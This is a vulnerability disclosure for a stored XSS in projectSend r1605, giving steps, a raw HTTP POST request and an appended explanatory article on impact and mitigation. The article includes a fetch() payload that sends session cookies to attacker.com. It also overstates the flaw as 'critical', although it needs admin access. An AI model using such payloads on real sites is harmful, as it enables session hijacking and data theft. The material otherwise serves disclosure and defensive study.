projectSend r1605 - Stored XSS
Exploit Title: projectSend r1605 - Stored XSS
Application: projectSend
Version: r1605
Bugs: Stored Xss
Technology: PHP
Vendor URL: https://www.projectsend.org/
Software Link: https://www.projectsend.org/
Date of found: 11-06-2023
Author: Mirabbas Ağalarov
Tested on: Linux
2. Technical Details & POC
========================================
1. Login as admin
2. Go to Custom Html/Css/Js (http://localhost/custom-assets.php)
3. Go to new JS (http://localhost/custom-assets-add.php?language=js)
4. Set content as alert("xss"); and set public
5. And Save
6. Go to http://localhost (logout)
payload: alert("xss")
POST /custom-assets-add.php HTTP/1.1
Host: localhost
Content-Length: 171
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/custom-assets-add.php?language=js
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2l
Connection: close
csrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head projectSend r1605 – Stored XSS Vulnerability: A Deep Dive into a Critical Security Flaw
Security researchers have recently uncovered a critical vulnerability in projectSend r1605, a widely used open-source project management and file-sharing platform. The flaw, identified as Stored Cross-Site Scripting (XSS), presents a significant risk to users and administrators alike. This article explores the technical details, exploitation mechanics, real-world implications, and mitigation strategies for this vulnerability.
Overview of the Vulnerability
The Stored XSS flaw in projectSend r1605 allows attackers to inject malicious JavaScript code into the application's persistent storage. Unlike reflected XSS, which requires user interaction to trigger the payload, stored XSS is executed automatically whenever the affected page is loaded. This makes it far more dangerous and persistent.
Discovered by Mirabbas Ağalarov on June 11, 2023, the vulnerability resides in the Custom HTML/CSS/JS feature, specifically in the custom-assets-add.php endpoint. This functionality enables administrators to inject custom scripts, styles, or HTML content into the application's frontend, intended for branding or customization.
Technical Exploitation: Step-by-Step Breakdown
Here’s how the exploit is executed:
- Log in as an administrator.
- Navigate to
http://localhost/custom-assets.phpto access the custom asset management interface. - Click on
new JSathttp://localhost/custom-assets-add.php?language=js. - Set the title to test, and insert the payload:
alert("XSS"). - Enable the asset and set the location to public (meaning it will be loaded on every page).
- Submit the form.
Once saved, the malicious JavaScript is stored in the database and executed whenever any user visits the projectSend homepage or any page that includes the injected asset.
HTTP Request Payload Analysis
POST /custom-assets-add.php HTTP/1.1
Host: localhost
Content-Length: 171
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="113", "Not-A.Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/custom-assets-add.php?language=js
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: log_download_started=false; PHPSESSID=7j8g8u9t7khb259ci4fvareg2l
Connection: close
csrf_token=222b49c5c4a1755c451637f17ef3e7ea8bb5b6ee616293bd73d15d0e608d9dab&language=js&title=test&content=alert%28%22XSS%22%29%3B&enabled=on&location=public&position=head
Explanation: The content parameter contains the encoded JavaScript payload alert("XSS"). The location=public setting ensures that the script is globally accessible. The position=head indicates it is injected into the HTML <head> section, where it executes immediately upon page load.
Because the input is not properly sanitized or validated, the application stores and renders the script without filtering, leading to automatic execution in the browser context.
Impact and Risk Assessment
Stored XSS is considered one of the most severe vulnerabilities in web applications due to its persistence and automatic execution. In the case of projectSend r1605, the implications are far-reaching:
- Session Hijacking: Malicious scripts can steal user session cookies and send them to an attacker-controlled server.
- Phishing: Injected scripts can modify page content to mimic login forms, tricking users into entering credentials.
- Defacement: Attackers can alter the UI to display malicious messages or redirect users.
- Remote Code Execution: In some cases, XSS can be chained with other vulnerabilities to escalate privileges.
Given that projectSend is often used in organizational or enterprise environments, a single stored XSS exploit could compromise entire teams, expose sensitive data, or disrupt operations.
Real-World Use Case Example
Imagine an attacker who gains admin access (via weak password or credential leakage) and injects the following payload:
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
user: window.location.href,
timestamp: new Date().toISOString()
})
});
Upon loading any page, this script sends the victim’s session cookie to a remote server. If the attacker uses this cookie to impersonate the user, they can perform actions like downloading confidential files, modifying project settings, or escalating access.
Root Cause Analysis
The vulnerability stems from a lack of input validation and output encoding in the custom-assets-add.php script. The application treats user-supplied JavaScript as trusted, storing it directly in the database without sanitization.
Key issues include:
- No filtering of script tags or dangerous functions (
alert(),eval(),document.write()). - Missing Content Security Policy (CSP) headers to restrict script execution.
- Insufficient CSRF protection (though the token is present, it’s not sufficient if the backend doesn’t validate it).
Security Best Practices & Mitigation
Developers and administrators should implement the following safeguards:
| Best Practice | Description |
|---|---|
| Input Sanitization | Use libraries like HTML Purifier or DOMPurify to strip malicious scripts before storing. |
| Output Encoding | Always encode dynamic content using htmlspecialchars() in PHP or equivalent in other languages. |
| Content Security Policy (CSP) | Implement a strict CSP header, e.g., Content-Security-Policy: default-src 'self'; script-src 'self';. |
| Role-Based Access Control | Restrict custom asset creation to trusted roles only, and require approval for public assets. |
| Regular Audits | Perform penetration testing and code reviews to identify stored XSS risks. |
Vendor Response and Patching
The vendor, projectSend.org, has acknowledged the vulnerability. As of June 2023, a patch is under development, with updates expected in the next release cycle. Users are advised to:
- Disable the
Custom Assetsfeature until the fix is released. - Apply strict access controls to prevent unauthorized admin access.
- Monitor logs for suspicious JavaScript injection attempts.</li